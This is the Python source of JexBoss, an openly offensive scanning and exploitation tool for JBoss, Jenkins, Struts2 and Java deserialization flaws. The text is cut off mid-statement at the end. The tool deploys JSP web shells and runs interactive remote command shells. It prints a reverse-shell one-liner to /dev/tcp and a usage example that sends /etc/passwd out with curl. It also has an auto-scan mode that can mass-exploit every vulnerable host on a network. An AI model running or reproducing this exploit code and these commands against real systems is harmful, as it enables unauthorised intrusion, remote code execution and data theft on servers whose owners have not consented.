#!/usr/bin/env python # -*- coding: utf-8 -*- """ JexBoss: Jboss verify and EXploitation Tool https://github.com/joaomatosf/jexboss Copyright 2013 João Filho Matos Figueiredo Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import textwrap import traceback import logging import datetime import signal import _exploits import _updates from os import name, system import os, sys import shutil from zipfile import ZipFile from time import sleep from random import randint import argparse, socket from sys import argv, exit, version_info logging.captureWarnings(True) FORMAT = "%(asctime)s (%(levelname)s): %(message)s" logging.basicConfig(filename='jexboss_'+str(datetime.datetime.today().date())+'.log', format=FORMAT, level=logging.INFO) __author__ = "João Filho Matos Figueiredo " __version__ = "1.2.4" RED = '\x1b[91m' RED1 = '\033[31m' BLUE = '\033[94m' GREEN = '\033[32m' BOLD = '\033[1m' NORMAL = '\033[0m' ENDC = '\033[0m' def print_and_flush(message, same_line=False): if same_line: print (message), else: print (message) if not sys.stdout.isatty(): sys.stdout.flush() if version_info[0] == 2 and version_info[1] < 7: print_and_flush(RED1 + BOLD + "\n * You are using the Python version 2.6. The JexBoss requires version >= 2.7.\n" "" + GREEN + " Please install the Python version >= 2.7. \n\n" " Example for CentOS using Software Collections scl:\n" " # yum -y install centos-release-scl\n" " # yum -y install python27\n" " # scl enable python27 bash\n" + ENDC) logging.CRITICAL('Python version 2.6 is not supported.') exit(0) try: import readline readline.parse_and_bind('set editing-mode vi') except: logging.warning('Module readline not installed. The terminal will not support the arrow keys.', exc_info=traceback) print_and_flush(RED1 + "\n * Module readline not installed. The terminal will not support the arrow keys.\n" + ENDC) try: from urllib.parse import urlencode except ImportError: from urllib import urlencode try: from urllib3.util import parse_url from urllib3 import PoolManager from urllib3 import ProxyManager from urllib3 import make_headers from urllib3.util import Timeout except ImportError: print_and_flush(RED1 + BOLD + "\n * Package urllib3 not installed. Please install the dependencies before continue.\n" "" + GREEN + " Example: \n" " # pip install -r requires.txt\n" + ENDC) logging.critical('Module urllib3 not installed. See details:', exc_info=traceback) exit(0) try: import ipaddress except: print_and_flush(RED1 + BOLD + "\n * Package ipaddress not installed. Please install the dependencies before continue.\n" "" + GREEN + " Example: \n" " # pip install -r requires.txt\n" + ENDC) logging.critical('Module ipaddress not installed. See details:', exc_info=traceback) exit(0) global gl_interrupted gl_interrupted = False global gl_args global gl_http_pool def get_random_user_agent(): user_agents = ["Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/20100101 Firefox/38.0", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36", "Mozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)", "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1)", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36", "Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.17", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0"] return user_agents[randint(0, len(user_agents) - 1)] def is_proxy_ok(): print_and_flush(GREEN + "\n ** Checking proxy: %s **\n\n" % gl_args.proxy) headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Connection": "keep-alive", "User-Agent": get_random_user_agent()} try: r = gl_http_pool.request('GET', gl_args.host, redirect=False, headers=headers) except: print_and_flush(RED + " * Error: Failed to connect to %s using proxy %s.\n" " See logs for more details...\n" %(gl_args.host,gl_args.proxy) + ENDC) logging.warning("Failed to connect to %s using proxy" %gl_args.host, exc_info=traceback) return False if r.status == 407: print_and_flush(RED + " * Error 407: Proxy authentication is required. \n" " Please enter the correct login and password for authentication. \n" " Example: -P http://proxy.com:3128 -L username:password\n" + ENDC) logging.error("Proxy authentication failed") return False elif r.status == 503 or r.status == 502: print_and_flush(RED + " * Error %s: The service %s is not availabel to your proxy. \n" " See logs for more details...\n" %(r.status,gl_args.host)+ENDC) logging.error("Service unavailable to your proxy") return False else: return True def configure_http_pool(): global gl_http_pool if gl_args.mode == 'auto-scan' or gl_args.mode == 'file-scan': timeout = Timeout(connect=1.0, read=3.0) else: timeout = Timeout(connect=gl_args.timeout, read=6.0) if gl_args.proxy: # when using proxy, protocol should be informed if (gl_args.host is not None and 'http' not in gl_args.host) or 'http' not in gl_args.proxy: print_and_flush(RED + " * When using proxy, you must specify the http or https protocol" " (eg. http://%s).\n\n" %(gl_args.host if 'http' not in gl_args.host else gl_args.proxy) +ENDC) logging.critical('Protocol not specified') exit(1) try: if gl_args.proxy_cred: headers = make_headers(proxy_basic_auth=gl_args.proxy_cred) gl_http_pool = ProxyManager(proxy_url=gl_args.proxy, proxy_headers=headers, timeout=timeout, cert_reqs='CERT_NONE') else: gl_http_pool = ProxyManager(proxy_url=gl_args.proxy, timeout=timeout, cert_reqs='CERT_NONE') except: print_and_flush(RED + " * An error occurred while setting the proxy. Please see log for details..\n\n" +ENDC) logging.critical('Error while setting the proxy', exc_info=traceback) exit(1) else: gl_http_pool = PoolManager(timeout=timeout, cert_reqs='CERT_NONE') def handler_interrupt(signum, frame): global gl_interrupted gl_interrupted = True print_and_flush ("Interrupting execution ...") logging.info("Interrupting execution ...") exit(1) signal.signal(signal.SIGINT, handler_interrupt) def check_connectivity(host, port): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(2) s.connect((str(host), int(port))) s.close() except socket.timeout: logging.info("Failed to connect to %s:%s" %(host,port)) return False except: logging.info("Failed to connect to %s:%s" % (host, port)) return False return True def check_vul(url): """ Test if a GET to a URL is successful :param url: The URL to test :return: A dict with the exploit type as the keys, and the HTTP status code as the value """ url_check = parse_url(url) if '443' in str(url_check.port) and url_check.scheme != 'https': url = "https://"+str(url_check.host)+":"+str(url_check.port)+str(url_check.path) print_and_flush(GREEN + "\n ** Checking Host: %s **\n" % url) logging.info("Checking Host: %s" % url) headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Connection": "keep-alive", "User-Agent": get_random_user_agent()} paths = {"jmx-console": "/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo", "web-console": "/web-console/Invoker", "JMXInvokerServlet": "/invoker/JMXInvokerServlet", "admin-console": "/admin-console/", "Application Deserialization": "", "Servlet Deserialization" : "", "Jenkins": "", "Struts2": "", "JMX Tomcat" : ""} fatal_error = False for vector in paths: r = None if gl_interrupted: break try: # check jmx tomcat only if specifically chosen if (gl_args.jmxtomcat and vector != 'JMX Tomcat') or\ (not gl_args.jmxtomcat and vector == 'JMX Tomcat'): continue if gl_args.app_unserialize and vector != 'Application Deserialization': continue if gl_args.struts2 and vector != 'Struts2': continue if gl_args.servlet_unserialize and vector != 'Servlet Deserialization': continue if gl_args.jboss and vector not in ('jmx-console', 'web-console', 'JMXInvokerServlet', 'admin-console'): continue if gl_args.jenkins and vector != 'Jenkins': continue if gl_args.force: paths[vector] = 200 continue print_and_flush(GREEN + " [*] Checking %s: %s" % (vector, " " * (27 - len(vector))) + ENDC, same_line=True) # check jenkins if vector == 'Jenkins': cli_port = None # check version and search for CLI-Port r = gl_http_pool.request('GET', url, redirect=True, headers=headers) all_headers = r.getheaders() # versions > 658 are not vulnerable if 'X-Jenkins' in all_headers: version = int(all_headers['X-Jenkins'].split('.')[1].split('.')[0]) if version >= 638: paths[vector] = 505 continue for h in all_headers: if 'CLI-Port' in h: cli_port = int(all_headers[h]) break if cli_port is not None: paths[vector] = 200 else: paths[vector] = 505 # chek vul for Java Unserializable in Application Parameters elif vector == 'Application Deserialization': r = gl_http_pool.request('GET', url, redirect=False, headers=headers) if r.status in (301, 302, 303, 307, 308): cookie = r.getheader('set-cookie') if cookie is not None: headers['Cookie'] = cookie r = gl_http_pool.request('GET', url, redirect=True, headers=headers) # link, obj = _exploits.get_param_value(r.data, gl_args.post_parameter) obj = _exploits.get_serialized_obj_from_param(str(r.data), gl_args.post_parameter) # if no obj serialized, check if there's a html refresh redirect and follow it if obj is None: # check if theres a redirect link link = _exploits.get_html_redirect_link(str(r.data)) # If it is a redirect link. Follow it if link is not None: r = gl_http_pool.request('GET', url + "/" + link, redirect=True, headers=headers) #link, obj = _exploits.get_param_value(r.data, gl_args.post_parameter) obj = _exploits.get_serialized_obj_from_param(str(r.data), gl_args.post_parameter) # if obj does yet None if obj is None: # search for other params that can be exploited list_params = _exploits.get_list_params_with_serialized_objs(str(r.data)) if len(list_params) > 0: paths[vector] = 110 print_and_flush(RED + " [ CHECK OTHER PARAMETERS ]" + ENDC) print_and_flush(RED + "\n * The \"%s\" parameter does not appear to be vulnerable.\n" %gl_args.post_parameter + " But there are other parameters that it seems to be xD!\n" +ENDC+GREEN+ BOLD+ "\n Try these other parameters: \n" +ENDC) for p in list_params: print_and_flush(GREEN + " -H %s" %p+ ENDC) print ("") elif obj is not None and obj == 'stateless': paths[vector] = 100 elif obj is not None: paths[vector] = 200 # chek vul for Java Unserializable in viewState elif vector == 'Servlet Deserialization': r = gl_http_pool.request('GET', url, redirect=False, headers=headers) if r.status in (301, 302, 303, 307, 308): cookie = r.getheader('set-cookie') if cookie is not None: headers['Cookie'] = cookie r = gl_http_pool.request('GET', url, redirect=True, headers=headers) if r.getheader('Content-Type') is not None and 'x-java-serialized-object' in r.getheader('Content-Type'): paths[vector] = 200 else: paths[vector] = 505 elif vector == 'Struts2': result = _exploits.exploit_struts2_jakarta_multipart(url, 'jexboss', gl_args.cookies) if result is None or "Could not get command" in str(result) : paths[vector] = 100 elif 'jexboss' in str(result) and "" not in str(result).lower(): paths[vector] = 200 else: paths[vector] = 505 elif vector == 'JMX Tomcat': s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(7) host_rmi = url.split(':')[0] port_rmi = int(url.split(':')[1]) s.connect((host_rmi, port_rmi)) s.send(b"JRMI\x00\x02K") msg = s.recv(1024) octets = str(msg[3:]).split(".") if len(octets) != 4: paths[vector] = 505 else: paths[vector] = 200 # check jboss vectors elif vector == "JMXInvokerServlet": # user privided web-console path and checking JMXInvoker... if "/web-console/Invoker" in url: paths[vector] = 505 # if the user not provided the path, append the "/invoker/JMXInvokerServlet" else: if not url.endswith(str(paths[vector])) and not url.endswith(str(paths[vector])+"/"): url_to_check = url + str(paths[vector]) else: url_to_check = url r = gl_http_pool.request('HEAD', url_to_check , redirect=False, headers=headers) # if head method is not allowed/supported, try GET if r.status in (405, 406): r = gl_http_pool.request('GET', url_to_check , redirect=False, headers=headers) # if web-console/Invoker or invoker/JMXInvokerServlet if r.getheader('Content-Type') is not None and 'x-java-serialized-object' in r.getheader('Content-Type'): paths[vector] = 200 else: paths[vector] = 505 elif vector == "web-console": # user privided JMXInvoker path and checking web-console... if "/invoker/JMXInvokerServlet" in url: paths[vector] = 505 # if the user not provided the path, append the "/web-console/..." else: if not url.endswith(str(paths[vector])) and not url.endswith(str(paths[vector]) + "/"): url_to_check = url + str(paths[vector]) else: url_to_check = url r = gl_http_pool.request('HEAD', url_to_check, redirect=False, headers=headers) # if head method is not allowed/supported, try GET if r.status in (405, 406): r = gl_http_pool.request('GET', url_to_check, redirect=False, headers=headers) # if web-console/Invoker or invoker/JMXInvokerServlet if r.getheader('Content-Type') is not None and 'x-java-serialized-object' in r.getheader('Content-Type'): paths[vector] = 200 else: paths[vector] = 505 # other jboss vector else: r = gl_http_pool.request('HEAD', url + str(paths[vector]), redirect=False, headers=headers) # if head method is not allowed/supported, try GET if r.status in (405, 406): r = gl_http_pool.request('GET', url + str(paths[vector]), redirect=False, headers=headers) # check if the server respond with 200/500 for all requests if r.status in (200, 500): r = gl_http_pool.request('GET', url + str(paths[vector])+ '/github.com/joaomatosf/jexboss', redirect=False,headers=headers) if r.status == 200: r.status = 505 else: r.status = 200 paths[vector] = r.status # ---------------- # Analysis of the results # ---------------- # check if the proxy do not support running in the same port of the target if r is not None and r.status == 400 and gl_args.proxy: if parse_url(gl_args.proxy).port == url_check.port: print_and_flush(RED + "[ ERROR ]\n * An error occurred because the proxy server is running on the " "same port as the server port (port %s).\n" " Please use a different port in the proxy.\n" % url_check.port + ENDC) logging.critical("Proxy returns 400 Bad Request because is running in the same port as the server") fatal_error = True break # check if it's false positive if r is not None and len(r.getheaders()) == 0: print_and_flush(RED + "[ ERROR ]\n * The server %s is not an HTTP server.\n" % url + ENDC) logging.error("The server %s is not an HTTP server." % url) for key in paths: paths[key] = 505 break if paths[vector] in (301, 302, 303, 307, 308): url_redirect = r.get_redirect_location() print_and_flush(GREEN + " [ REDIRECT ]\n * The server sent a redirect to: %s\n" % url_redirect) elif paths[vector] == 200 or paths[vector] == 500: if vector == "admin-console": print_and_flush(RED + " [ EXPOSED ]" + ENDC) logging.info("Server %s: EXPOSED" %url) elif vector == "Jenkins": print_and_flush(RED + " [ POSSIBLE VULNERABLE ]" + ENDC) logging.info("Server %s: RUNNING JENKINS" %url) elif vector == "JMX Tomcat": print_and_flush(RED + " [ MAYBE VULNERABLE ]" + ENDC) logging.info("Server %s: RUNNING JENKINS" %url) else: print_and_flush(RED + " [ VULNERABLE ]" + ENDC) logging.info("Server %s: VULNERABLE" % url) elif paths[vector] == 100: paths[vector] = 200 print_and_flush(RED + " [ INCONCLUSIVE - NEED TO CHECK ]" + ENDC) logging.info("Server %s: INCONCLUSIVE - NEED TO CHECK" % url) elif paths[vector] == 110: logging.info("Server %s: CHECK OTHERS PARAMETERS" % url) else: print_and_flush(GREEN + " [ OK ]") except Exception as err: print_and_flush(RED + "\n * An error occurred while connecting to the host %s (%s)\n" % (url, err) + ENDC) logging.info("An error occurred while connecting to the host %s" % url, exc_info=traceback) paths[vector] = 505 if fatal_error: exit(1) else: return paths def auto_exploit(url, exploit_type): """ Automatically exploit a URL :param url: The URL to exploit :param exploit_type: One of the following exploitJmxConsoleFileRepository: tested and working in JBoss 4 and 5 exploitJmxConsoleMainDeploy: tested and working in JBoss 4 and 6 exploitWebConsoleInvoker: tested and working in JBoss 4 exploitJMXInvokerFileRepository: tested and working in JBoss 4 and 5 exploitAdminConsole: tested and working in JBoss 5 and 6 (with default password) """ if exploit_type in ("Application Deserialization", "Servlet Deserialization"): print_and_flush(GREEN + "\n * Preparing to send exploit to %s. Please wait...\n" % url) else: print_and_flush(GREEN + "\n * Sending exploit code to %s. Please wait...\n" % url) result = 505 if exploit_type == "jmx-console": result = _exploits.exploit_jmx_console_file_repository(url) if result != 200 and result != 500: result = _exploits.exploit_jmx_console_main_deploy(url) elif exploit_type == "web-console": # if the user not provided the path if url.endswith("/web-console/Invoker") or url.endswith("/web-console/Invoker/"): url = url.replace("/web-console/Invoker", "") result = _exploits.exploit_web_console_invoker(url) if result == 404: host, port = get_host_port_reverse_params() if host == port == gl_args.cmd == None: return False result = _exploits.exploit_servlet_deserialization(url + "/web-console/Invoker", host=host, port=port, cmd=gl_args.cmd, is_win=gl_args.windows, gadget=gl_args.gadget, gadget_file=gl_args.load_gadget) elif exploit_type == "JMXInvokerServlet": # if the user not provided the path if url.endswith("/invoker/JMXInvokerServlet") or url.endswith("/invoker/JMXInvokerServlet/"): url = url.replace("/invoker/JMXInvokerServlet", "") result = _exploits.exploit_jmx_invoker_file_repository(url, 0) if result != 200 and result != 500: result = _exploits.exploit_jmx_invoker_file_repository(url, 1) if result == 404: host, port = get_host_port_reverse_params() if host == port == gl_args.cmd == None: return False result = _exploits.exploit_servlet_deserialization(url + "/invoker/JMXInvokerServlet", host=host, port=port, cmd=gl_args.cmd, is_win=gl_args.windows, gadget=gl_args.gadget, gadget_file=gl_args.load_gadget) elif exploit_type == "admin-console": result = _exploits.exploit_admin_console(url, gl_args.jboss_login) elif exploit_type == "Jenkins": host, port = get_host_port_reverse_params() if host == port == gl_args.cmd == None: return False result = _exploits.exploit_jenkins(url, host=host, port=port, cmd=gl_args.cmd, is_win=gl_args.windows, gadget=gl_args.gadget, show_payload=gl_args.show_payload) elif exploit_type == "JMX Tomcat": host, port = get_host_port_reverse_params() if host == port == gl_args.cmd == None: return False result = _exploits.exploit_jrmi(url, host=host, port=port, cmd=gl_args.cmd, is_win=gl_args.windows) elif exploit_type == "Application Deserialization": host, port = get_host_port_reverse_params() if host == port == gl_args.cmd == gl_args.load_gadget == None: return False result = _exploits.exploit_application_deserialization(url, host=host, port=port, cmd=gl_args.cmd, is_win=gl_args.windows, param=gl_args.post_parameter, force=gl_args.force, gadget_type=gl_args.gadget, show_payload=gl_args.show_payload, gadget_file=gl_args.load_gadget) elif exploit_type == "Servlet Deserialization": host, port = get_host_port_reverse_params() if host == port == gl_args.cmd == gl_args.load_gadget == None: return False result = _exploits.exploit_servlet_deserialization(url, host=host, port=port, cmd=gl_args.cmd, is_win=gl_args.windows, gadget=gl_args.gadget, gadget_file=gl_args.load_gadget) elif exploit_type == "Struts2": result = 200 # if it seems to be exploited (201 is for jboss exploited with gadget) if result == 200 or result == 500 or result == 201: # if not auto_exploit, ask type enter to continue... if not gl_args.auto_exploit: if exploit_type in ("Application Deserialization", "Jenkins", "JMX Tomcat", "Servlet Deserialization") or result == 201: print_and_flush(BLUE + " * The exploit code was successfully sent. Check if you received the reverse shell\n" " connection on your server or if your command was executed. \n"+ ENDC+ " Type [ENTER] to continue...\n") # wait while enter is typed input().lower() if version_info[0] >= 3 else raw_input().lower() return True else: if exploit_type == 'Struts2': shell_http_struts(url) else: print_and_flush(GREEN + " * Successfully deployed code! Starting command shell. Please wait...\n" + ENDC) shell_http(url, exploit_type) # if auto exploit mode, print message and continue... else: print_and_flush(GREEN + " * Successfully deployed/sended code via vector %s\n *** Run JexBoss in Standalone mode " "to open command shell. ***" %(exploit_type) + ENDC) return True # if not exploited, print error messagem and ask for type enter else: if exploit_type == 'admin-console': print_and_flush(GREEN + "\n * You can still try to exploit deserialization vulnerabilitie in ViewState!\n" + " Try this: python jexboss.py -u %s/admin-console/login.seam --app-unserialize\n" %url + " Type [ENTER] to continue...\n" + ENDC) else: print_and_flush(RED + "\n * Could not exploit the flaw automatically. Exploitation requires manual analysis...\n" + " Type [ENTER] to continue...\n" + ENDC) logging.error("Could not exploit the server %s automatically. HTTP Code: %s" %(url, result)) # wait while enter is typed input().lower() if version_info[0] >= 3 else raw_input().lower() return False def ask_for_reverse_host_and_port(): print_and_flush(GREEN + " * Please enter the IP address and tcp PORT of your listening server for try to get a REVERSE SHELL.\n" " OBS: You can also use the --cmd \"command\" to send specific commands to run on the server."+NORMAL) # If not *nix (that is, if somethine like git bash on Rwindow$) if not sys.stdout.isatty(): print_and_flush(" IP Address (RHOST): ", same_line=True) host = input().lower() if version_info[0] >= 3 else raw_input().lower() print_and_flush(" Port (RPORT): ", same_line=True) port = input().lower() if version_info[0] >= 3 else raw_input().lower() else: host = input(" IP Address (RHOST): ").lower() if version_info[0] >= 3 else raw_input(" IP Address (RHOST): ").lower() port = input(" Port (RPORT): ").lower() if version_info[0] >= 3 else raw_input(" Port (RPORT): ").lower() print ("") return str(host), str(port) def get_host_port_reverse_params(): # if reverse host were provided in the args, take it if gl_args.reverse_host: if gl_args.windows: jexboss.print_and_flush(RED + "\n * WINDOWS Systems still do not support reverse shell.\n" " Use option --cmd instead of --reverse-shell...\n" + ENDC + " Type [ENTER] to continue...\n") # wait while enter is typed input().lower() if version_info[0] >= 3 else raw_input().lower() return None, None tokens = gl_args.reverse_host.split(":") if len(tokens) != 2: host, port = ask_for_reverse_host_and_port() else: host = tokens[0] port = tokens[1] # if neither cmd nor reverse nor load_gadget was provided, ask host and port elif gl_args.cmd is None and gl_args.load_gadget is None: host, port = ask_for_reverse_host_and_port() else: # if cmd or gadget file ware privided host, port = None, None return host, port def shell_http_struts(url): """ Connect to an HTTP shell :param url: struts app url :param shell_type: The type of shell to connect to """ print_and_flush("# ----------------------------------------- #\n") print_and_flush(GREEN + BOLD + " * For a Reverse Shell (like meterpreter =]), type sometime like: \n\n" "\n" +ENDC+ " Shell>/bin/bash -i > /dev/tcp/192.168.0.10/4444 0>&1 2>&1\n" " \n"+GREEN+ " And so on... =]\n" +ENDC ) print_and_flush("# ----------------------------------------- #\n") resp = _exploits.exploit_struts2_jakarta_multipart(url,'whoami', gl_args.cookies) print_and_flush(resp.replace('\\n', '\n'), same_line=True) logging.info("Server %s exploited!" %url) while 1: print_and_flush(BLUE + "[Type commands or \"exit\" to finish]" +ENDC) if not sys.stdout.isatty(): print_and_flush("Shell> ", same_line=True) cmd = input() if version_info[0] >= 3 else raw_input() else: cmd = input("Shell> ") if version_info[0] >= 3 else raw_input("Shell> ") if cmd == "exit": break resp = _exploits.exploit_struts2_jakarta_multipart(url, cmd, gl_args.cookies) print_and_flush(resp.replace('\\n', '\n')) # FIX: capture the readtimeout File "jexboss.py", line 333, in shell_http def shell_http(url, shell_type): """ Connect to an HTTP shell :param url: The URL to connect to :param shell_type: The type of shell to connect to """ headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Connection": "keep-alive", "User-Agent": get_random_user_agent()} if gl_args.disable_check_updates: headers['no-check-updates'] = 'true' if shell_type == "jmx-console" or shell_type == "web-console" or shell_type == "admin-console": path = '/jexws4/jexws4.jsp?' elif shell_type == "JMXInvokerServlet": path = '/jexinv4/jexinv4.jsp?' gl_http_pool.request('GET', url+path, redirect=False, headers=headers) sleep(7) resp = "" print_and_flush("# ----------------------------------------- # LOL # ----------------------------------------- #\n") print_and_flush(RED + " * " + url + ": \n" + ENDC) print_and_flush("# ----------------------------------------- #\n") print_and_flush(GREEN + BOLD + " * For a Reverse Shell (like meterpreter =]), type the command: \n\n" " jexremote=YOUR_IP:YOUR_PORT\n\n" + ENDC + GREEN + " Example:\n" +ENDC+ " Shell>jexremote=192.168.0.10:4444\n" "\n" +GREEN+ " Or use other techniques of your choice, like:\n" +ENDC+ " Shell>/bin/bash -i > /dev/tcp/192.168.0.10/4444 0>&1 2>&1\n" " \n"+GREEN+ " And so on... =]\n" +ENDC ) print_and_flush("# ----------------------------------------- #\n") for cmd in ['uname -a', 'cat /etc/issue', 'id']: cmd = urlencode({"ppp": cmd}) try: r = gl_http_pool.request('GET', url + path + cmd, redirect=False, headers=headers) resp += " " + str(r.data).split(">")[1] except: print_and_flush(RED + " * Apparently an IPS is blocking some requests. Check for updates will be disabled...\n\n"+ENDC) logging.warning("Disabling checking for updates.", exc_info=traceback) headers['no-check-updates'] = 'true' print_and_flush(resp.replace('\\n', '\n'), same_line=True) logging.info("Server %s exploited!" %url) while 1: print_and_flush(BLUE + "[Type commands or \"exit\" to finish]" +ENDC) if not sys.stdout.isatty(): print_and_flush("Shell> ", same_line=True) cmd = input() if version_info[0] >= 3 else raw_input() else: cmd = input("Shell> ") if version_info[0] >= 3 else raw_input("Shell> ") if cmd == "exit": break cmd = urlencode({"ppp": cmd}) try: r = gl_http_pool.request('GET', url + path + cmd, redirect=False, headers=headers) except: print_and_flush(RED + " * Error contacting the command shell. Try again and see logs for details ...") logging.error("Error contacting the command shell", exc_info=traceback) continue resp = str(r.data) if r.status == 404: print_and_flush(RED + " * Error contacting the command shell. Try again later...") continue stdout = "" try: stdout = resp.split("pre>")[1] except: print_and_flush(RED + " * Error contacting the command shell. Try again later...") if stdout.count("An exception occurred processing JSP page") == 1: print_and_flush(RED + " * Error executing command \"%s\". " % cmd.split("=")[1] + ENDC) else: print_and_flush(stdout.replace('\\n', '\n')) def clear(): """ Clears the console """ if name == 'posix': system('clear') elif name == ('ce', 'nt', 'dos'): system('cls') def banner(): """ Print the banner """ clear() print_and_flush(RED1 + "\n * --- JexBoss: Jboss verify and EXploitation Tool --- *\n" " | * And others Java Deserialization Vulnerabilities * | \n" " | |\n" " | @author: João Filho Matos Figueiredo |\n" " | @contact: joaomatosf@gmail.com |\n" " | |\n" " | @update: https://github.com/joaomatosf/jexboss |\n" " #______________________________________________________#\n") print_and_flush(RED1 + " @version: %s" % __version__) print_and_flush (ENDC) def help_usage(): usage = (BOLD + BLUE + " Examples: [for more options, type python jexboss.py -h]\n" + ENDC + BLUE + "\n For simple usage, you must provide the host name or IP address you\n" " want to test [-host or -u]:\n" + GREEN + "\n $ python jexboss.py -u https://site.com.br" + BLUE + "\n\n For Java Deserialization Vulnerabilities in HTTP POST parameters. \n" " This will ask for an IP address and port to try to get a reverse shell:\n" + GREEN + "\n $ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize" + BLUE + "\n\n For Java Deserialization Vulnerabilities in a custom HTTP parameter and \n" " to send a custom command to be executed on the exploited server:\n" + GREEN + "\n $ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize\n" " -H parameter_name --cmd 'curl -d@/etc/passwd http://your_server'" + BLUE + "\n\n For Java Deserialization Vulnerabilities in a Servlet (like Invoker):\n"+ GREEN + "\n $ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize\n" + BLUE + "\n\n To test Java Deserialization Vulnerabilities with DNS Lookup:\n" + GREEN + "\n $ python jexboss.py -u http://vulnerable_java_app/path --gadget dns --dns test.yourdomain.com" + BLUE + "\n\n For Jenkins CLI Deserialization Vulnerabilitie:\n"+ GREEN + "\n $ python jexboss.py -u http://vulnerable_java_app/jenkins --jenkins"+ BLUE + "\n\n For Apache Struts2 Vulnerabilities (CVE-2017-5638):\n" + GREEN + "\n $ python jexboss.py -u http://vulnerable_java_app/path.action --struts2\n" + BLUE + "\n\n For auto scan mode, you must provide the network in CIDR format, " "\n list of ports and filename for store results:\n" + GREEN + "\n $ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 \n" " -results report_auto_scan.log" + BLUE + "\n\n For file scan mode, you must provide the filename with host list " "\n to be scanned (one host per line) and filename for store results:\n" + GREEN + "\n $ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log\n" + ENDC) return usage def network_args(string): try: if version_info[0] >= 3: value = ipaddress.ip_network(string) else: value = ipaddress.ip_network(unicode(string)) except: msg = "%s is not a network address in CIDR format." % string logging.error("%s is not a network address in CIDR format." % string) raise argparse.ArgumentTypeError(msg) return value def main(): """ Run interactively. Call when the module is run by itself. :return: Exit code """ # check for Updates if not gl_args.disable_check_updates: updates = _updates.check_updates() if updates: print_and_flush(BLUE + BOLD + "\n\n * An update is available and is recommended update before continuing.\n" + " Do you want to update now?") if not sys.stdout.isatty(): print_and_flush(" YES/no? ", same_line=True) pick = input().lower() if version_info[0] >= 3 else raw_input().lower() else: pick = input(" YES/no? ").lower() if version_info[0] >= 3 else raw_input(" YES/no? ").lower() print_and_flush(ENDC) if pick != "no": updated = _updates.auto_update() if updated: print_and_flush(GREEN + BOLD + "\n * The JexBoss has been successfully updated. Please run again to enjoy the updates.\n" +ENDC) exit(0) else: print_and_flush(RED + BOLD + "\n\n * An error occurred while updating the JexBoss. Please try again..\n" +ENDC) exit(1) vulnerables = False # check vulnerabilities for standalone mode if gl_args.mode == 'standalone': url = gl_args.host scan_results = check_vul(url) # performs exploitation for jboss vulnerabilities for vector in scan_results: if scan_results[vector] == 200 or scan_results[vector] == 500: vulnerables = True if gl_args.auto_exploit: auto_exploit(url, vector) else: if vector == "Application Deserialization": msg_confirm = " If successful, this operation will provide a reverse shell. You must enter the\n" \ " IP address and Port of your listening server.\n" else: msg_confirm = " If successful, this operation will provide a simple command shell to execute \n" \ " commands on the server..\n" print_and_flush(BLUE + "\n\n * Do you want to try to run an automated exploitation via \"" + BOLD + vector + NORMAL + "\" ?\n" + msg_confirm + RED + " Continue only if you have permission!" + ENDC) if not sys.stdout.isatty(): print_and_flush(" yes/NO? ", same_line=True) pick = input().lower() if version_info[0] >= 3 else raw_input().lower() else: pick = input(" yes/NO? ").lower() if version_info[0] >= 3 else raw_input(" yes/NO? ").lower() if pick == "yes": auto_exploit(url, vector) # check vulnerabilities for auto scan mode elif gl_args.mode == 'auto-scan': file_results = open(gl_args.results, 'w') file_results.write("JexBoss Scan Mode Report\n\n") for ip in gl_args.network.hosts(): if gl_interrupted: break for port in gl_args.ports.split(","): if check_connectivity(ip, port): url = "{0}:{1}".format(ip,port) ip_results = check_vul(url) for key in ip_results.keys(): if ip_results[key] == 200 or ip_results[key] == 500: vulnerables = True if gl_args.auto_exploit: result_exploit = auto_exploit(url, key) if result_exploit: file_results.write("{0}:\t[EXPLOITED VIA {1}]\n".format(url, key)) else: file_results.write("{0}:\t[FAILED TO EXPLOITED VIA {1}]\n".format(url, key)) else: file_results.write("{0}:\t[POSSIBLY VULNERABLE TO {1}]\n".format(url, key)) file_results.flush() else: print_and_flush (RED+"\n * Host %s:%s does not respond."% 